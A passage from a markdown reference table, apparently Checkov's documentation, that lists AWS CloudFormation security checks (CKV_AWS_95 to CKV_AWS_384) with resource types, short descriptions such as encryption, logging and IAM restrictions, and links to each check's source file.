[GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py)                                                             |\n|   86 | CKV_AWS_95  | resource | AWS::ApiGatewayV2::Stage                                         | Ensure API Gateway V2 has Access Logging enabled                                                                                                                                                         | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py)                                                             |\n|   87 | CKV_AWS_95  | resource | AWS::Serverless::HttpApi                                         | Ensure API Gateway V2 has Access Logging enabled                                                                                                                                                         | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py)                                                             |\n|   88 | CKV_AWS_96  | resource | AWS::RDS::DBCluster                                              | Ensure all data stored in Aurora is securely encrypted at rest                                                                                                                                           | Cloudformation | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AuroraEncryption.py)                                                                               |\n|   89 | CKV_AWS_97  | resource | AWS::ECS::TaskDefinition                                         | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions                                                                                                                          | Cloudformation | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py)                                       |\n|   90 | CKV_AWS_99  | resource | AWS::Glue::SecurityConfiguration                                 | Ensure Glue Security Configuration Encryption is enabled                                                                                                                                                 | Cloudformation | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py)                                                             |\n|   91 | CKV_AWS_100 | resource | AWS::EKS::Nodegroup                                              | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0                                                                                                                               | Cloudformation | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py)                                                               |\n|   92 | CKV_AWS_101 | resource | AWS::Neptune::DBCluster                                          | Ensure Neptune logging is enabled                                                                                                                                                                        | Cloudformation | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py)                                                                     |\n|   93 | CKV_AWS_103 | resource | AWS::ElasticLoadBalancingV2::Listener                            | Ensure that Load Balancer Listener is using at least TLS v1.2                                                                                                                                            | Cloudformation | [ALBListenerTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py)                                                                               |\n|   94 | CKV_AWS_104 | resource | AWS::DocDB::DBClusterParameterGroup                              | Ensure DocumentDB has audit logs enabled                                                                                                                                                                 | Cloudformation | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py)                                                                                   |\n|   95 | CKV_AWS_105 | resource | AWS::Redshift::ClusterParameterGroup                             | Ensure Redshift uses SSL                                                                                                                                                                                 | Cloudformation | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedShiftSSL.py)                                                                                         |\n|   96 | CKV_AWS_107 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|   97 | CKV_AWS_107 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|   98 | CKV_AWS_107 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|   99 | CKV_AWS_107 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|  100 | CKV_AWS_107 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                   |\n|  101 | CKV_AWS_108 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  102 | CKV_AWS_108 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  103 | CKV_AWS_108 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  104 | CKV_AWS_108 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  105 | CKV_AWS_108 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                         |\n|  106 | CKV_AWS_109 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  107 | CKV_AWS_109 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  108 | CKV_AWS_109 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  109 | CKV_AWS_109 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  110 | CKV_AWS_109 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                               |\n|  111 | CKV_AWS_110 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  112 | CKV_AWS_110 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  113 | CKV_AWS_110 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  114 | CKV_AWS_110 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  115 | CKV_AWS_110 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                   |\n|  116 | CKV_AWS_111 | resource | AWS::IAM::Group                                                  | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  117 | CKV_AWS_111 | resource | AWS::IAM::ManagedPolicy                                          | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  118 | CKV_AWS_111 | resource | AWS::IAM::Policy                                                 | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  119 | CKV_AWS_111 | resource | AWS::IAM::Role                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  120 | CKV_AWS_111 | resource | AWS::IAM::User                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                   |\n|  121 | CKV_AWS_115 | resource | AWS::Lambda::Function                                            | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                         |\n|  122 | CKV_AWS_115 | resource | AWS::Serverless::Function                                        | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                         |\n|  123 | CKV_AWS_116 | resource | AWS::Lambda::Function                                            | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py)                                                                         |\n|  124 | CKV_AWS_116 | resource | AWS::Serverless::Function                                        | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py)                                                                         |\n|  125 | CKV_AWS_117 | resource | AWS::Lambda::Function                                            | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py)                                                                                         |\n|  126 | CKV_AWS_117 | resource | AWS::Serverless::Function                                        | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py)                                                                                         |\n|  127 | CKV_AWS_118 | resource | AWS::RDS::DBInstance                                             | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Cloudformation | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                             |\n|  128 | CKV_AWS_119 | resource | AWS::DynamoDB::Table                                             | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK                                                                                                                                    | Cloudformation | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py)                                                                 |\n|  129 | CKV_AWS_120 | resource | AWS::ApiGateway::Stage                                           | Ensure API Gateway caching is enabled                                                                                                                                                                    | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py)                                                                     |\n|  130 | CKV_AWS_120 | resource | AWS::Serverless::Api                                             | Ensure API Gateway caching is enabled                                                                                                                                                                    | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py)                                                                     |\n|  131 | CKV_AWS_123 | resource | AWS::EC2::VPCEndpointService                                     | Ensure that VPC Endpoint Service is configured for Manual Acceptance                                                                                                                                     | Cloudformation | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py)                                                 |\n|  132 | CKV_AWS_131 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer                        | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Cloudformation | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py)                                                                           |\n|  133 | CKV_AWS_136 | resource | AWS::ECR::Repository                                             | Ensure that ECR repositories are encrypted using KMS                                                                                                                                                     | Cloudformation | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py)                                                                   |\n|  134 | CKV_AWS_149 | resource | AWS::SecretsManager::Secret                                      | Ensure that Secrets Manager secret is encrypted using KMS CMK                                                                                                                                            | Cloudformation | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py)                                                       |\n|  135 | CKV_AWS_154 | resource | AWS::Redshift::Cluster                                           | Ensure Redshift is not deployed outside of a VPC                                                                                                                                                         | Cloudformation | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py)                                                               |\n|  136 | CKV_AWS_155 | resource | AWS::WorkSpaces::Workspace                                       | Ensure that Workspace user volumes are encrypted                                                                                                                                                         | Cloudformation | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py)                                                       |\n|  137 | CKV_AWS_156 | resource | AWS::WorkSpaces::Workspace                                       | Ensure that Workspace root volumes are encrypted                                                                                                                                                         | Cloudformation | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py)                                                       |\n|  138 | CKV_AWS_157 | resource | AWS::RDS::DBInstance                                             | Ensure that RDS instances have Multi-AZ enabled                                                                                                                                                          | Cloudformation | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py)                                                                             |\n|  139 | CKV_AWS_158 | resource | AWS::Logs::LogGroup                                              | Ensure that CloudWatch Log Group is encrypted by KMS                                                                                                                                                     | Cloudformation | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py)                                                               |\n|  140 | CKV_AWS_160 | resource | AWS::Timestream::Database                                        | Ensure that Timestream database is encrypted with KMS CMK                                                                                                                                                | Cloudformation | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py)                                                               |\n|  141 | CKV_AWS_161 | resource | AWS::RDS::DBInstance                                             | Ensure RDS database has IAM authentication enabled                                                                                                                                                       | Cloudformation | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py)                                                                       |\n|  142 | CKV_AWS_162 | resource | AWS::RDS::DBCluster                                              | Ensure RDS cluster has IAM authentication enabled                                                                                                                                                        | Cloudformation | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py)                                                         |\n|  143 | CKV_AWS_163 | resource | AWS::ECR::Repository                                             | Ensure ECR image scanning on push is enabled                                                                                                                                                             | Cloudformation | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImageScanning.py)                                                                               |\n|  144 | CKV_AWS_164 | resource | AWS::Transfer::Server                                            | Ensure Transfer Server is not exposed publicly.                                                                                                                                                          | Cloudformation | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py)                                                                   |\n|  145 | CKV_AWS_165 | resource | AWS::DynamoDB::GlobalTable                                       | Ensure DynamoDB global table point in time recovery (backup) is enabled                                                                                                                                  | Cloudformation | [DynamodbGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py)                                                         |\n|  146 | CKV_AWS_166 | resource | AWS::Backup::BackupVault                                         | Ensure Backup Vault is encrypted at rest using KMS CMK                                                                                                                                                   | Cloudformation | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py)                                                                       |\n|  147 | CKV_AWS_170 | resource | AWS::QLDB::Ledger                                                | Ensure QLDB ledger permissions mode is set to STANDARD                                                                                                                                                   | Cloudformation | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py)                                                             |\n|  148 | CKV_AWS_172 | resource | AWS::QLDB::Ledger                                                | Ensure QLDB ledger has deletion protection enabled                                                                                                                                                       | Cloudformation | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py)                                                       |\n|  149 | CKV_AWS_173 | resource | AWS::Lambda::Function                                            | Check encryption settings for Lambda environment variable                                                                                                                                                | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                         |\n|  150 | CKV_AWS_173 | resource | AWS::Serverless::Function                                        | Check encryption settings for Lambda environment variable                                                                                                                                                | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                         |\n|  151 | CKV_AWS_174 | resource | AWS::CloudFront::Distribution                                    | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher                                                                                                                            | Cloudformation | [CloudFrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py)                                                                                 |\n|  152 | CKV_AWS_187 | resource | AWS::SageMaker::Domain                                           | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py)                                             |\n|  153 | CKV_AWS_187 | resource | AWS::SageMaker::NotebookInstance                                 | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py)                                             |\n|  154 | CKV_AWS_192 | resource | AWS::WAFv2::WebACL                                               | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                          | Cloudformation | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py)                                                                           |\n|  155 | CKV_AWS_193 | resource | AWS::AppSync::GraphQLApi                                         | Ensure AppSync has Logging enabled                                                                                                                                                                       | Cloudformation | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncLogging.py)                                                                                   |\n|  156 | CKV_AWS_194 | resource | AWS::AppSync::GraphQLApi                                         | Ensure AppSync has Field-Level logs enabled                                                                                                                                                              | Cloudformation | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py)                                                                     |\n|  157 | CKV_AWS_195 | resource | AWS::Glue::Crawler                                               | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                               |\n|  158 | CKV_AWS_195 | resource | AWS::Glue::DevEndpoint                                           | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                               |\n|  159 | CKV_AWS_195 | resource | AWS::Glue::Job                                                   | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                               |\n|  160 | CKV_AWS_197 | resource | AWS::AmazonMQ::Broker                                            | Ensure MQ Broker Audit logging is enabled                                                                                                                                                                | Cloudformation | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py)                                                                       |\n|  161 | CKV_AWS_258 | resource | AWS::Lambda::Url                                                 | Ensure that Lambda function URLs AuthType is not None                                                                                                                                                    | Cloudformation | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py)                                                                     |\n|  162 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroup                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                           |\n|  163 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                           |\n|  164 | CKV_AWS_291 | resource | AWS::MSK::Cluster                                                | Ensure MSK nodes are private                                                                                                                                                                             | Cloudformation | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py)                                                             |\n|  165 | CKV_AWS_317 | resource | AWS::Elasticsearch::Domain                                       | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                 |\n|  166 | CKV_AWS_317 | resource | AWS::OpenSearchService::Domain                                   | Ensure Elasticsearch Domain Audit Logging is enabled                                                                                                                                                     | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py)                                                 |\n|  167 | CKV_AWS_360 | resource | AWS::DocDB::DBCluster                                            | Ensure DocumentDB has an adequate backup retention period                                                                                                                                                | Cloudformation | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py)                                                                       |\n|  168 | CKV_AWS_361 | resource | AWS::Neptune::DBCluster                                          | Ensure that Neptune DB cluster has automated backups enabled with adequate retention                                                                                                                     | Cloudformation | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py)                                                     |\n|  169 | CKV_AWS_363 | resource | AWS::Lambda::Function                                            | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                 |\n|  170 | CKV_AWS_363 | resource | AWS::Serverless::Function                                        | Ensure Lambda Runtime is not deprecated                                                                                                                                                                  | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py)                                                                 |\n|  171 | CKV_AWS_364 | resource | AWS::Lambda::Permission                                          | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount                                                                                          | Cloudformation | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py)                                                                 |\n|  172 | CKV_AWS_366 | resource | AWS::Cognito::IdentityPool                                       | Ensure AWS Cognito identity pool does not allow unauthenticated guest access                                                                                                                             | Cloudformation | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py)                                               |\n|  173 | CKV_AWS_367 | resource | AWS::SageMaker::DataQualityJobDefinition                         | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts                                                                                                                             | Cloudformation | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py)                         |\n|  174 | CKV_AWS_368 | resource | AWS::SageMaker::DataQualityJobDefinition                         | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume                                                                                                             | Cloudformation | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py)             |\n|  175 | CKV_AWS_369 | resource | AWS::SageMaker::DataQualityJobDefinition                         | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs                                                                                          | Cloudformation | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py)           |\n|  176 | CKV_AWS_370 | resource | AWS::SageMaker::Model                                            | Ensure Amazon SageMaker model uses network isolation                                                                                                                                                     | Cloudformation | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py)                                           |\n|  177 | CKV_AWS_371 | resource | AWS::SageMaker::NotebookInstance                                 | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2                                                                                                                                         | Cloudformation | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py)                                     |\n|  178 | CKV_AWS_373 | resource | AWS::Bedrock::Agent                                              | Ensure Bedrock Agent is encrypted with a CMK                                                                                                                                                             | Cloudformation | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py)                                                                     |\n|  179 | CKV_AWS_384 | resource | AWS::SSM::Parameter                                              | Ensure no hard-coded secrets exist in Parameter Store 